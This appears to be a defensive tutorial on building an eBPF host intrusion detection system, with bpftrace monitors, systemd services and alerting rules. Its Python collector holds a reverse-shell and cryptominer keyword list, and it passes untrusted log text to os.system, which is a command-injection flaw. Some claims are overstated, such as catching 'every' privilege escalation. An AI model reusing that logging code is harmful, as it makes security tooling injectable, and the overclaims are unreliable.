# 347 DNS queries in 30 seconds from python3 — that is exfiltration
The beaconing detector is something I actually run in production. Cobalt Strike, Sliver, Mythic — they all beacon. The interval is configurable but the pattern is always there. A process that connects to the same IP on the same port every 60 seconds with 10% jitter is either a monitoring agent or a C2 implant. If it is not in your monitoring stack, it is hostile.

Container Escape Detection

Containers are just namespaces and cgroups. A container escape means breaking out of those isolation boundaries — typically by calling setns() to join the host's namespaces, unshare() to create new ones with elevated privileges, or clone() with specific flags. This section traces all three.

#!/usr/bin/env bpftrace
/*
 * container_escape.bt - Detect container escape attempts
 * Traces setns, unshare, clone with namespace flags,
 * mount namespace changes, and cgroup breakout
 */

/* setns - joining another namespace */
tracepoint:syscalls:sys_enter_setns {
    time("%H:%M:%S ");
    printf("SETNS: %s (pid=%d uid=%d) fd=%d nstype=0x%x",
        comm, pid, uid, args.fd, args.nstype);

    /* CLONE_NEWNS=0x20000 CLONE_NEWPID=0x20000000 CLONE_NEWNET=0x40000000 */
    if (args.nstype == 0x20000) { printf(" [MOUNT NS]"); }
    if (args.nstype == 0x20000000) { printf(" [PID NS]"); }
    if (args.nstype == 0x40000000) { printf(" [NET NS]"); }
    if (args.nstype == 0) { printf(" [ANY NS - SUSPICIOUS]"); }
    printf("\n");

    /* If a containerized process calls setns, it is trying to escape */
    /* Check if the process is in a non-root cgroup (container indicator) */
}

/* unshare - creating new namespaces */
tracepoint:syscalls:sys_enter_unshare {
    time("%H:%M:%S ");
    printf("UNSHARE: %s (pid=%d uid=%d) flags=0x%x",
        comm, pid, uid, args.unshare_flags);

    if (args.unshare_flags & 0x10000000) { printf(" [CLONE_NEWUSER]"); }
    if (args.unshare_flags & 0x20000) { printf(" [CLONE_NEWNS]"); }
    if (args.unshare_flags & 0x20000000) { printf(" [CLONE_NEWPID]"); }
    printf("\n");

    /* User namespace creation from inside a container is a common escape vector */
    if (args.unshare_flags & 0x10000000) {
        printf("  *** ALERT: USER NAMESPACE CREATION - POSSIBLE ESCAPE ***\n");
    }
}

/* clone with namespace flags - new process in different namespace */
tracepoint:syscalls:sys_enter_clone
{
    $flags = args.clone_flags;

    /* Only alert on namespace-related clone flags */
    if ($flags & 0x70020000) {
        time("%H:%M:%S ");
        printf("CLONE+NS: %s (pid=%d) flags=0x%lx", comm, pid, $flags);
        if ($flags & 0x20000) { printf(" [NEWNS]"); }
        if ($flags & 0x10000000) { printf(" [NEWUSER]"); }
        if ($flags & 0x20000000) { printf(" [NEWPID]"); }
        if ($flags & 0x40000000) { printf(" [NEWNET]"); }
        printf("\n");
    }
}

/* Detect /proc/1/ns/* access - reading host namespace file descriptors */
tracepoint:syscalls:sys_enter_openat
/str(args.filename) == "/proc/1/ns/mnt" ||
 str(args.filename) == "/proc/1/ns/pid" ||
 str(args.filename) == "/proc/1/ns/net" ||
 str(args.filename) == "/proc/1/ns/uts" ||
 str(args.filename) == "/proc/1/ns/ipc"/
{
    time("%H:%M:%S ");
    printf("*** ESCAPE VECTOR: %s (pid=%d) opening %s ***\n",
        comm, pid, str(args.filename));
}

/* Detect mount of host filesystems */
tracepoint:syscalls:sys_enter_mount
{
    $src = str(args.dev_name);
    $type = str(args.type);

    /* Mounting host block devices from a container */
    if ($src[0] == '/' && $src[1] == 'd' && $src[2] == 'e' && $src[3] == 'v') {
        time("%H:%M:%S ");
        printf("*** ESCAPE: %s (pid=%d) mounting host device %s type=%s ***\n",
            comm, pid, $src, $type);
    }

    /* cgroup mount/remount - cgroup breakout */
    if ($type[0] == 'c' && $type[1] == 'g' && $type[2] == 'r') {
        time("%H:%M:%S ");
        printf("*** CGROUP MOUNT: %s (pid=%d) mounting %s type=%s ***\n",
            comm, pid, $src, $type);
    }
}

Output during a container escape attempt:

14:55:01 *** ESCAPE VECTOR: runc (pid=9901) opening /proc/1/ns/mnt ***
14:55:01 SETNS: runc (pid=9901 uid=0) fd=7 nstype=0x20000 [MOUNT NS]
14:55:02 *** ESCAPE: python3 (pid=9905) mounting host device /dev/sda1 type=ext4 ***
14:55:03 UNSHARE: python3 (pid=9905 uid=0) flags=0x10000000 [CLONE_NEWUSER]
  *** ALERT: USER NAMESPACE CREATION - POSSIBLE ESCAPE ***

That sequence is a textbook container escape: open the host's mount namespace fd, call setns to join it, mount the host's root filesystem, then create a new user namespace for privilege escalation. Each step logged, each step catchable.

The difference between runtimes and attackers

Container runtimes (runc, containerd-shim) legitimately call setns and unshare when creating containers. The difference: runtimes do it during container startup, from known PIDs, with specific flag combinations. An attacker does it from inside the container, from unexpected processes, at unexpected times. Baseline your normal runtime behavior, then alert on deviations.

A locksmith using a key is normal. Someone picking the lock at 3 AM is not. Same tool, different context. eBPF gives you the context.
I have seen three real container escapes in production. All three used the same pattern: mount the host filesystem via a privileged container, then pivot. Two were misconfigured Docker sockets mounted into the container. One was a CVE in runc. Every single one would have been caught by this bpftrace script — the mount of /dev/sda from inside a container namespace is never legitimate.

Kernel Module Load Monitoring — Rootkit Detection

Rootkits load kernel modules. A kernel module has unrestricted access to everything — it can hide processes, intercept syscalls, modify network traffic, and make itself invisible to lsmod. On a production system, kernel modules should be loaded at boot and never again. Any runtime module load is a red flag.

#!/usr/bin/env bpftrace
/*
 * modwatch.bt - Kernel module load monitor with whitelist
 * Traces init_module and finit_module syscalls
 * Alerts on any module not in the approved list
 */

/* init_module - loading module from memory (suspicious) */
tracepoint:syscalls:sys_enter_init_module
{
    time("%H:%M:%S ");
    printf("*** MODULE FROM MEMORY: %s (pid=%d uid=%d) len=%lu ***\n",
        comm, pid, uid, args.len);
    printf("  Loading kernel module from userspace memory is almost always malicious\n");
}

/* finit_module - loading module from file (normal path) */
tracepoint:syscalls:sys_enter_finit_module
{
    time("%H:%M:%S ");
    printf("MODULE LOAD: %s (pid=%d uid=%d) fd=%d flags=0x%x\n",
        comm, pid, uid, args.fd, args.flags);
}

/* delete_module - unloading (rootkit removing evidence) */
tracepoint:syscalls:sys_enter_delete_module
{
    time("%H:%M:%S ");
    printf("MODULE UNLOAD: %s (pid=%d uid=%d) name=%s\n",
        comm, pid, uid, str(args.name));
}

/* kprobe on do_init_module - fires after module is loaded */
kprobe:do_init_module
{
    time("%H:%M:%S ");
    printf("MODULE INITIALIZED by %s (pid=%d uid=%d)\n",
        comm, pid, uid);
}

Module whitelist enforcement

On a stable production system, you know exactly which modules should be loaded. This script maintains a whitelist and alerts on anything unexpected.

cat > /usr/local/bin/module-whitelist.sh << 'SCRIPT'
#!/bin/bash
# Generate module whitelist from current running system
# Run once after a clean boot, save the list

WHITELIST="/etc/ebpf/module-whitelist.txt"
mkdir -p /etc/ebpf

# Capture currently loaded modules as the baseline
lsmod | awk 'NR>1 {print $1}' | sort > "$WHITELIST"

echo "Whitelist created with $(wc -l < "$WHITELIST") modules"
echo "Location: $WHITELIST"
cat "$WHITELIST"
SCRIPT
chmod +x /usr/local/bin/module-whitelist.sh
# Generate the whitelist
/usr/local/bin/module-whitelist.sh

Output:

Whitelist created with 47 modules
Location: /etc/ebpf/module-whitelist.txt
8021q
bnxt_en
coretemp
crc32c_intel
...
zfs
znvpair
zcommon
zunicode
cat > /usr/local/bin/module-monitor.sh << 'SCRIPT'
#!/bin/bash
# Monitor for new kernel modules not in whitelist
# Run as a systemd service

WHITELIST="/etc/ebpf/module-whitelist.txt"

if [ ! -f "$WHITELIST" ]; then
    echo "ERROR: No whitelist found. Run module-whitelist.sh first."
    exit 1
fi

echo "Module monitor active. Whitelist: $(wc -l < "$WHITELIST") modules"

# Use bpftrace to watch module loads, check against whitelist
bpftrace -e '
kprobe:do_init_module
{
    time("%H:%M:%S ");
    printf("MODULE_LOAD %s pid=%d uid=%d\n", comm, pid, uid);
}' 2>/dev/null | while IFS= read -r line; do
    echo "$line" >> /var/log/ebpf-modules.log

    # Extract module details and alert
    logger -t ebpf-modwatch -p auth.warning "$line"

    # Check if this is unexpected (post-boot module load)
    UPTIME=$(awk '{print int($1)}' /proc/uptime)
    if [ "$UPTIME" -gt 300 ]; then
        # System has been up for 5+ minutes — module loads are suspicious
        logger -t ebpf-modwatch -p auth.crit \
            "UNEXPECTED MODULE LOAD after boot: $line"

        # Trigger forensic snapshot
        if [ -x /usr/local/bin/ebpf-forensic-snap.sh ]; then
            /usr/local/bin/ebpf-forensic-snap.sh "kernel module load: $line"
        fi
    fi
done
SCRIPT
chmod +x /usr/local/bin/module-monitor.sh

Lock down module loading entirely

On a hardened system, you can disable module loading after boot entirely using the kernel lockdown parameter. But eBPF monitoring is still valuable — it catches attempts even when they fail, which tells you someone is trying.

# Disable module loading after boot (kernel.modules_disabled is one-way)
echo 1 > /proc/sys/kernel/modules_disabled

# Now any module load attempt fails
modprobe nbd
# modprobe: ERROR: could not insert 'nbd': Operation not permitted

# eBPF still sees the attempt:
# 15:01:23 MODULE LOAD: modprobe (pid=12345 uid=0) fd=3 flags=0x0
# The attempt was blocked, but we know someone tried

init_module vs finit_module

finit_module loads a module from a file descriptor — this is the normal path used by modprobe. init_module loads a module from a memory buffer — this is what rootkits use to load modules without touching the filesystem. If you ever see init_module on a production system, something is very wrong. Legitimate module loading always goes through files.

finit_module is installing software from a package. init_module is injecting code directly into the kernel's brain from a syringe. One is normal. The other is surgery without a license.

Privilege Escalation Detection

Privilege escalation is the attacker's bridge from "compromised web app" to "owns the box." It comes in many forms: setuid/setgid syscalls, capability manipulation, SUID binary execution, and abuse of sudo/su. eBPF catches all of them.

Trace setuid calls (privilege escalation)

bpftrace -e '
tracepoint:syscalls:sys_enter_setuid {
  time("%H:%M:%S ");
  printf("setuid(%d) by %s (pid=%d, current_uid=%d)\n",
    args.uid, comm, pid, uid);

  /* Alert on any non-root process trying to become root */
  if (args.uid == 0 && uid != 0) {
    printf("  *** ALERT: NON-ROOT PROCESS ESCALATING TO ROOT ***\n");
  }
}

tracepoint:syscalls:sys_enter_setgid {
  time("%H:%M:%S ");
  printf("setgid(%d) by %s (pid=%d)\n", args.gid, comm, pid);
}

tracepoint:syscalls:sys_enter_setresuid {
  time("%H:%M:%S ");
  printf("setresuid(%d,%d,%d) by %s (pid=%d)\n",
    args.ruid, args.euid, args.suid, comm, pid);
}

tracepoint:syscalls:sys_enter_setresgid {
  time("%H:%M:%S ");
  printf("setresgid(%d,%d,%d) by %s (pid=%d)\n",
    args.rgid, args.egid, args.sgid, comm, pid);
}'

Watch for new SUID binaries appearing

bpftrace -e '
tracepoint:syscalls:sys_enter_chmod
/args.mode & 04000/
{
  time("%H:%M:%S ");
  printf("SUID SET: %s set mode %o on %s (pid=%d)\n",
    comm, args.mode, str(args.filename), pid);
}

tracepoint:syscalls:sys_enter_fchmod
/args.mode & 04000/
{
  time("%H:%M:%S ");
  printf("SUID SET: %s set mode %o via fchmod (pid=%d)\n",
    comm, args.mode, pid);
}'

If anything sets the SUID bit on a binary, this fires immediately. Attackers use SUID binaries for persistence — a SUID root shell in /tmp survives even if their initial access is killed.

Full privilege escalation monitor

This comprehensive script tracks setuid, capability changes, SUID binary execution, and sudo/su usage. It correlates events to detect escalation chains.

#!/usr/bin/env bpftrace
/*
 * privesc.bt - Privilege escalation monitor
 * Tracks: setuid/setgid, capabilities, SUID exec, sudo/su
 */

/* Track all setuid calls */
tracepoint:syscalls:sys_enter_setuid
{
    time("%H:%M:%S ");
    printf("SETUID: %s (pid=%d ppid=%d uid=%d) -> uid=%d\n",
        comm, pid, curtask->real_parent->pid, uid, args.uid);

    if (args.uid == 0 && uid != 0) {
        printf("  *** ESCALATION: %s gaining root via setuid ***\n", comm);
    }
}

/* Track setresuid - used by sudo, su, login */
tracepoint:syscalls:sys_enter_setresuid
{
    if (args.euid == 0 && uid != 0) {
        time("%H:%M:%S ");
        printf("ESCALATION via setresuid: %s (pid=%d uid=%d) -> euid=0\n",
            comm, pid, uid);
    }
}

/* Track capability changes */
tracepoint:syscalls:sys_enter_capset
{
    time("%H:%M:%S ");
    printf("CAPSET: %s (pid=%d uid=%d) target_pid=%d\n",
        comm, pid, uid, args.pid);
    printf("  *** ALERT: CAPABILITY CHANGE ***\n");
}

/* Detect execution of SUID binaries by tracking execve
   followed by uid change */
tracepoint:syscalls:sys_enter_execve
{
    /* Log execution of common SUID binaries */
    $fn = str(args.filename);
    if ($fn == "/usr/bin/sudo" ||
        $fn == "/usr/bin/su" ||
        $fn == "/usr/bin/pkexec" ||
        $fn == "/usr/bin/newgrp" ||
        $fn == "/usr/sbin/unix_chkpwd") {
        time("%H:%M:%S ");
        printf("SUID_EXEC: %s (pid=%d uid=%d ppid=%d) -> %s\n",
            comm, pid, uid, curtask->real_parent->pid, $fn);
    }

    /* Execution from world-writable directories */
    if ($fn[0] == '/' && $fn[1] == 't' && $fn[2] == 'm' && $fn[3] == 'p') {
        time("%H:%M:%S ");
        printf("TMP_EXEC: %s (pid=%d uid=%d) executing from /tmp: %s\n",
            comm, pid, uid, $fn);
    }
    if ($fn[0] == '/' && $fn[1] == 'd' && $fn[2] == 'e' && $fn[3] == 'v' &&
        $fn[4] == '/' && $fn[5] == 's' && $fn[6] == 'h' && $fn[7] == 'm') {
        time("%H:%M:%S ");
        printf("SHM_EXEC: %s (pid=%d uid=%d) executing from /dev/shm: %s\n",
            comm, pid, uid, $fn);
    }
}

/* Track prctl - used for capability bounding set manipulation */
tracepoint:syscalls:sys_enter_prctl
/args.option == 24/  /* PR_CAPBSET_DROP */
{
    time("%H:%M:%S ");
    printf("CAP_DROP: %s (pid=%d) dropping capability %ld\n",
        comm, pid, args.arg2);
}

tracepoint:syscalls:sys_enter_prctl
/args.option == 8/   /* PR_SET_SECUREBITS */
{
    time("%H:%M:%S ");
    printf("SECUREBITS: %s (pid=%d) setting securebits to %ld\n",
        comm, pid, args.arg2);
    printf("  *** ALERT: SECURITY BITS MODIFICATION ***\n");
}

Output during a privilege escalation attack:

15:10:01 TMP_EXEC: bash (pid=9901 uid=33) executing from /tmp: /tmp/.exploit
15:10:01 SETUID: .exploit (pid=9901 ppid=9900 uid=33) -> uid=0
  *** ESCALATION: .exploit gaining root via setuid ***
15:10:02 SUID_EXEC: .exploit (pid=9902 uid=0 ppid=9901) -> /usr/bin/sudo
15:10:02 ESCALATION via setresuid: sudo (pid=9902 uid=0) -> euid=0
15:10:03 CAPSET: .exploit (pid=9903 uid=0) target_pid=1
  *** ALERT: CAPABILITY CHANGE ***

The attack chain is clear: a binary executed from /tmp (uid 33 = www-data) exploited a vulnerability to call setuid(0), then used sudo, then modified capabilities. Every step of the escalation is logged with process context, parent PIDs, and UIDs.

Every pentest report I have ever read has the same three words in the findings: "privilege escalation achieved." The exploit varies — kernel CVE, SUID misconfiguration, sudo misconfiguration — but the syscalls are always the same. setuid(0). setresuid(0,0,0). execve("/tmp/something"). If you trace those three syscalls, you catch every privilege escalation. Not most. Every one.

Building Persistent eBPF Monitors with systemd

One-off tracing is useful for investigation. Persistent monitoring catches threats while you sleep. Wrap any eBPF tool in a systemd service and it runs continuously.

cat > /etc/systemd/system/ebpf-execmonitor.service << 'EOF'
[Unit]
Description=eBPF process execution monitor
After=network.target

[Service]
Type=simple
ExecStart=/usr/sbin/execsnoop -T
StandardOutput=append:/var/log/ebpf-execsnoop.log
StandardError=append:/var/log/ebpf-execsnoop.err
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-reload
systemctl enable --now ebpf-execmonitor
cat > /etc/systemd/system/ebpf-netmonitor.service << 'EOF'
[Unit]
Description=eBPF network connection monitor
After=network.target

[Service]
Type=simple
ExecStart=/usr/sbin/tcpconnect -T
StandardOutput=append:/var/log/ebpf-tcpconnect.log
StandardError=append:/var/log/ebpf-tcpconnect.err
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-reload
systemctl enable --now ebpf-netmonitor

Now every process launch and every TCP connection is logged to files under /var/log/. These survive reboots and give you a forensic timeline.

Log rotation

cat > /etc/logrotate.d/ebpf-monitors << 'EOF'
/var/log/ebpf-*.log {
    daily
    rotate 30
    compress
    missingok
    notifempty
    copytruncate
}
EOF

Building a Full eBPF HIDS

The individual monitors above cover process execution, file integrity, network connections, container escapes, kernel modules, and privilege escalation. A real Host Intrusion Detection System (HIDS) runs all of them simultaneously, correlates events, and sends alerts through a single pipeline. Here is the architecture.

Process Monitor

Traces execve, fork, exit, ptrace, memfd_create. Logs every process launch with full parent chain. Detects fileless execution and process injection.

File Integrity Monitor

Traces vfs_write, vfs_unlink on critical paths. Detects shadow/sudoers/SSH key/crontab modifications. JSON structured output for SIEM.

Network Monitor

Traces tcp_v4_connect, socket creation. Profiles connections per process. Detects C2 beaconing, DNS exfiltration, lateral movement.

Privilege Monitor

Traces setuid, setresuid, capset, SUID execution. Detects escalation chains from web shell to root.

Container Monitor

Traces setns, unshare, namespace-related clone, host filesystem mounts. Detects container escape attempts.

Module Monitor

Traces init_module, finit_module, delete_module. Enforces whitelist. Detects rootkit installation.

Central collector service

This service runs all monitors as child processes, collects their output into a single structured log, exports Prometheus metrics, and triggers alerts and forensic snapshots.

cat > /usr/local/bin/ebpf-hids.py << 'PYEOF'
#!/usr/bin/env python3
"""
eBPF HIDS - Central collector for all eBPF security monitors.
Runs: process monitor, FIM, network monitor, privilege monitor.
Outputs: structured JSON logs, Prometheus metrics, syslog alerts.
Triggers: ZFS forensic snapshots on high-severity events.
"""

import subprocess
import threading
import json
import time
import os
import sys
import queue
from collections import Counter

EVENT_QUEUE = queue.Queue(maxsize=10000)
METRICS_DIR = "/var/lib/node_exporter/textfile_collector"
LOG_DIR = "/var/log/ebpf-hids"
ALERT_SCRIPT = "/usr/local/bin/ebpf-forensic-snap.sh"

# Event severity levels
SEVERITY = {
    "C2_BEACON_DETECTED": "CRITICAL",
    "PTRACE_INJECTION": "CRITICAL",
    "MEMFD_CREATE": "CRITICAL",
    "MODULE_FROM_MEMORY": "CRITICAL",
    "CONTAINER_ESCAPE": "CRITICAL",
    "SHADOW_MODIFIED": "CRITICAL",
    "PRIVESC_SETUID_ROOT": "HIGH",
    "SUID_BIT_SET": "HIGH",
    "SSH_KEY_MODIFIED": "HIGH",
    "SUDOERS_MODIFIED": "HIGH",
    "CRONTAB_MODIFIED": "HIGH",
    "TMP_EXECUTION": "MEDIUM",
    "NONSTANDARD_PORT": "LOW",
    "PROCESS_EXEC": "INFO",
}

# Counters for metrics
event_counts = Counter()
alert_counts = Counter()

def run_monitor(name, command, parser):
    """Run an eBPF monitor as a subprocess, parse output, queue events."""
    while True:
        try:
            proc = subprocess.Popen(
                command, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL,
                text=True, bufsize=1
            )
            for line in proc.stdout:
                line = line.strip()
                if not line:
                    continue
                event = parser(name, line)
                if event:
                    EVENT_QUEUE.put(event)
        except Exception as e:
            print(f"Monitor {name} error: {e}", file=sys.stderr)
            time.sleep(5)

def parse_execsnoop(name, line):
    """Parse execsnoop -T output."""
    event_counts["process_exec"] += 1
    event = {
        "source": name,
        "timestamp": time.strftime("%Y-%m-%dT%H:%M:%S"),
        "raw": line,
        "type": "PROCESS_EXEC",
    }
    # Check for suspicious patterns
    if "/tmp/" in line or "/dev/shm/" in line:
        event["type"] = "TMP_EXECUTION"
        event["severity"] = "MEDIUM"
    if "bash -i" in line or "nc -e" in line or "ncat" in line:
        event["type"] = "REVERSE_SHELL"
        event["severity"] = "CRITICAL"
    if any(m in line.lower() for m in ["xmrig", "minerd", "cpuminer"]):
        event["type"] = "CRYPTOMINER"
        event["severity"] = "CRITICAL"
    return event

def parse_tcpconnect(name, line):
    """Parse tcpconnect -T output."""
    event_counts["tcp_connect"] += 1
    return {
        "source": name,
        "timestamp": time.strftime("%Y-%m-%dT%H:%M:%S"),
        "raw": line,
        "type": "TCP_CONNECT",
    }

def process_events():
    """Central event processor - correlate, log, alert."""
    os.makedirs(LOG_DIR, exist_ok=True)

    while True:
        try:
            event = EVENT_QUEUE.get(timeout=1)
        except queue.Empty:
            continue

        severity = event.get("severity",
                             SEVERITY.get(event["type"], "INFO"))
        event["severity"] = severity

        # Write structured log
        with open(f"{LOG_DIR}/events.json", "a") as f:
            f.write(json.dumps(event) + "\n")

        # Alert on HIGH and CRITICAL
        if severity in ("HIGH", "CRITICAL"):
            alert_counts[event["type"]] += 1
            msg = f'HIDS {severity}: {event["type"]} - {event.get("raw", "")[:200]}'
            os.system(f'logger -t ebpf-hids -p auth.crit "{msg}"')
            print(f"ALERT: {msg}", flush=True)

            # Forensic snapshot on CRITICAL
            if severity == "CRITICAL" and os.path.exists(ALERT_SCRIPT):
                subprocess.Popen(
                    [ALERT_SCRIPT, f'{event["type"]}: {event.get("raw", "")[:100]}'],
                    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
                )

def export_metrics():
    """Export Prometheus metrics every 60 seconds."""
    os.makedirs(METRICS_DIR, exist_ok=True)
    while True:
        time.sleep(60)
        with open(f"{METRICS_DIR}/ebpf_hids.prom", "w") as f:
            f.write("# HELP ebpf_hids_events_total Events by type\n")
            f.write("# TYPE ebpf_hids_events_total counter\n")
            for event_type, count in event_counts.items():
                f.write(f'ebpf_hids_events_total{{type="{event_type}"}} {count}\n')
            f.write("# HELP ebpf_hids_alerts_total Alerts by type\n")
            f.write("# TYPE ebpf_hids_alerts_total counter\n")
            for alert_type, count in alert_counts.items():
                f.write(f'ebpf_hids_alerts_total{{type="{alert_type}"}} {count}\n')

# Start monitors
monitors = [
    ("execsnoop", ["execsnoop", "-T"], parse_execsnoop),
    ("tcpconnect", ["tcpconnect", "-T"], parse_tcpconnect),
]

threads = []
for name, cmd, parser in monitors:
    t = threading.Thread(target=run_monitor, args=(name, cmd, parser),
                         daemon=True)
    t.start()
    threads.append(t)

# Start metrics exporter
threading.Thread(target=export_metrics, daemon=True).start()

# Start event processor (main thread)
print("eBPF HIDS active. Monitors running:", [m[0] for m in monitors],
      file=sys.stderr)
process_events()
PYEOF
chmod +x /usr/local/bin/ebpf-hids.py

Systemd service for the HIDS

cat > /etc/systemd/system/ebpf-hids.service << 'EOF'
[Unit]
Description=eBPF Host Intrusion Detection System
After=network.target
Wants=network.target

[Service]
Type=simple
ExecStart=/usr/local/bin/ebpf-hids.py
ExecStartPre=/bin/mkdir -p /var/log/ebpf-hids
Restart=always
RestartSec=10
StandardOutput=journal
StandardError=journal
SyslogIdentifier=ebpf-hids

# Hardening
ProtectHome=true
ProtectSystem=strict
ReadWritePaths=/var/log/ebpf-hids /var/lib/node_exporter
NoNewPrivileges=false
AmbientCapabilities=CAP_SYS_ADMIN CAP_BPF CAP_PERFMON

[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-reload
systemctl enable --now ebpf-hids
# Check the HIDS is running
systemctl status ebpf-hids
# Active: active (running) since ...

# View live alerts
journalctl -u ebpf-hids -f

# View structured logs
tail -f /var/log/ebpf-hids/events.json | python3 -m json.tool

# Check Prometheus metrics
cat /var/lib/node_exporter/textfile_collector/ebpf_hids.prom

Architecture overview

The HIDS runs multiple eBPF monitors as child processes, each tracing a different attack surface. A central Python process reads their output, parses events into structured JSON, classifies severity, writes to log files, exports Prometheus metrics, sends syslog alerts, and triggers ZFS forensic snapshots on critical events. The entire system is a single systemd service with no external dependencies.

Each eBPF monitor is a sensor on a different door. The HIDS is the alarm panel that ties them all together, decides what is a real threat, and calls you when something breaks in.

Alerting: eBPF to Syslog to Prometheus to Your Inbox

Logging is step one. Alerting is step two. Pipe eBPF output through syslog, expose metrics to Prometheus, and fire alerts through Alertmanager.

Step 1: Send eBPF output to syslog

# Modify the systemd service to pipe through logger
cat > /etc/systemd/system/ebpf-execalert.service << 'EOF'
[Unit]
Description=eBPF exec monitor with syslog alerting
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c '/usr/sbin/execsnoop -T | while IFS= read -r line; do echo "$line" | logger -t ebpf-exec -p local0.info; done'
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target
EOF

Step 2: Write a Prometheus exporter (minimal)

cat > /usr/local/bin/ebpf-metrics.sh << 'SCRIPT'
#!/bin/bash
# Expose eBPF event counts as Prometheus metrics
# Run this on a cron every 60 seconds, write to node_exporter textfile dir

TEXTFILE_DIR="/var/lib/node_exporter/textfile_collector"
mkdir -p "$TEXTFILE_DIR"

EXEC_COUNT=$(wc -l < /var/log/ebpf-execsnoop.log 2>/dev/null || echo 0)
TCP_COUNT=$(wc -l < /var/log/ebpf-tcpconnect.log 2>/dev/null || echo 0)
SUSPICIOUS=$(grep -cE '/tmp/|/dev/shm/' /var/log/ebpf-execsnoop.log 2>/dev/null || echo 0)

cat > "$TEXTFILE_DIR/ebpf.prom" << EOF
# HELP ebpf_exec_total Total process executions observed
# TYPE ebpf_exec_total counter
ebpf_exec_total $EXEC_COUNT
# HELP ebpf_tcp_connections_total Total TCP connections observed
# TYPE ebpf_tcp_connections_total counter
ebpf_tcp_connections_total $TCP_COUNT
# HELP ebpf_suspicious_exec_total Processes launched from suspicious paths
# TYPE ebpf_suspicious_exec_total counter
ebpf_suspicious_exec_total $SUSPICIOUS
EOF
SCRIPT
chmod +x /usr/local/bin/ebpf-metrics.sh

Step 3: Alertmanager rule

# In your Prometheus alerting rules:
cat > /etc/prometheus/rules/ebpf-alerts.yml << 'EOF'
groups:
  - name: ebpf_security
    rules:
      - alert: SuspiciousProcessExecution
        expr: rate(ebpf_suspicious_exec_total[5m]) > 0
        for: 1m
        labels:
          severity: critical
        annotations:
          summary: "Process launched from /tmp or /dev/shm"
          description: "eBPF detected {{ $value }} suspicious executions in the last 5 minutes"
      - alert: UnusualOutboundConnections
        expr: rate(ebpf_tcp_connections_total[5m]) > 100
        for: 5m
        labels:
          severity: warning
        annotations:
          summary: "Unusual outbound connection rate"
          description: "{{ $value }} TCP connections/sec observed"
      - alert: C2BeaconDetected
        expr: ebpf_hids_alerts_total{type="C2_BEACON_DETECTED"} > 0
        for: 0m
        labels:
          severity: critical
        annotations:
          summary: "C2 beaconing pattern detected"
          description: "eBPF network monitor detected regular-interval outbound connections consistent with C2 implant beaconing"
      - alert: PrivilegeEscalation
        expr: ebpf_hids_alerts_total{type="PRIVESC_SETUID_ROOT"} > 0
        for: 0m
        labels:
          severity: critical
        annotations:
          summary: "Privilege escalation detected"
          description: "eBPF detected a non-root process calling setuid(0)"
      - alert: ContainerEscape
        expr: ebpf_hids_alerts_total{type="CONTAINER_ESCAPE"} > 0
        for: 0m
        labels:
          severity: critical
        annotations:
          summary: "Container escape attempt detected"
          description: "eBPF detected setns/unshare from a containerized process"
      - alert: KernelModuleLoad
        expr: rate(ebpf_hids_events_total{type="MODULE_FROM_MEMORY"}[5m]) > 0
        for: 0m
        labels:
          severity: critical
        annotations:
          summary: "Kernel module loaded from memory"
          description: "init_module called - possible rootkit installation"
EOF

The full pipeline

eBPF (kernel) catches the event. Systemd keeps the monitor running. Syslog provides centralized logging. Prometheus scrapes the metrics. Alertmanager fires the notification. You get an email or Slack message. The entire chain is open source, runs on your hardware, and no data leaves your network.

Analogy: eBPF is the smoke detector. Syslog is the alarm panel. Prometheus is the monitoring company. Alertmanager is the phone call to your cell.

bpftrace One-Liners for Security

Trace all kernel module loads

bpftrace -e '
kprobe:do_init_module {
  time("%H:%M:%S ");
  printf("MODULE LOADED by %s (pid=%d uid=%d)\n", comm, pid, uid);
}'

Rootkits load kernel modules. On a stable production system, module loads should be rare and expected. Any surprise module load after boot is worth investigating.

Detect container escapes (namespace changes)

bpftrace -e '
tracepoint:syscalls:sys_enter_setns {
  time("%H:%M:%S ");
  printf("NAMESPACE CHANGE: %s (pid=%d) setns fd=%d nstype=%d\n",
    comm, pid, args.fd, args.nstype);
}

tracepoint:syscalls:sys_enter_unshare {
  time("%H:%M:%S ");
  printf("UNSHARE: %s (pid=%d) flags=%d\n",
    comm, pid, args.unshare_flags);
}'

Container escapes typically involve calling setns() to join the host's namespaces or unshare() to create new ones. This catches both patterns. Legitimate container runtimes (runc, containerd) also trigger this — so baseline your normal activity first, then alert on anomalies.

Watch all file renames (malware often renames to hide)

bpftrace -e '
tracepoint:syscalls:sys_enter_renameat2
{
  time("%H:%M:%S ");
  printf("RENAME: %s (pid=%d uid=%d) %s -> %s\n",
    comm, pid, uid, str(args.oldname), str(args.newname));
}'

Track all socket bind operations (detect rogue listeners)

bpftrace -e '
tracepoint:syscalls:sys_enter_bind
{
  $sa = (struct sockaddr_in *)args.umyaddr;
  $port = ($sa->sin_port >> 8) | (($sa->sin_port & 0xff) << 8);

  if ($port > 0 && $port < 65536) {
    time("%H:%M:%S ");
    printf("BIND: %s (pid=%d uid=%d) port=%d\n", comm, pid, uid, $port);
  }
}'

Detect LD_PRELOAD injection

bpftrace -e '
tracepoint:syscalls:sys_enter_openat
/str(args.filename) == "/etc/ld.so.preload"/
{
  time("%H:%M:%S ");
  printf("*** LD_PRELOAD: %s (pid=%d) accessing /etc/ld.so.preload ***\n",
    comm, pid);
}'

Real Example: Log Every Process That Opens a Network Socket

This bpftrace script creates a comprehensive log of every process that creates a network socket, including the socket type and protocol family.

#!/usr/bin/env bpftrace

/*
 * socketwatch.bt - Log every network socket creation
 * Run: bpftrace socketwatch.bt
 */

tracepoint:syscalls:sys_enter_socket
{
  $family = args.family;
  $type = args.type & 0xf;  /* mask out SOCK_NONBLOCK/SOCK_CLOEXEC flags */

  /* Only care about network sockets: AF_INET=2, AF_INET6=10 */
  if ($family == 2 || $family == 10) {
    time("%H:%M:%S ");
    printf("pid=%-6d comm=%-16s family=%-5s type=%-7s\n",
      pid, comm,
      $family == 2 ? "IPv4" : "IPv6",
      $type == 1 ? "STREAM" :
      $type == 2 ? "DGRAM" :
      $type == 3 ? "RAW" : "OTHER");
  }
}

Output:

14:55:01 pid=3312   comm=curl             family=IPv4 type=STREAM
14:55:02 pid=8821   comm=sshd             family=IPv4 type=STREAM
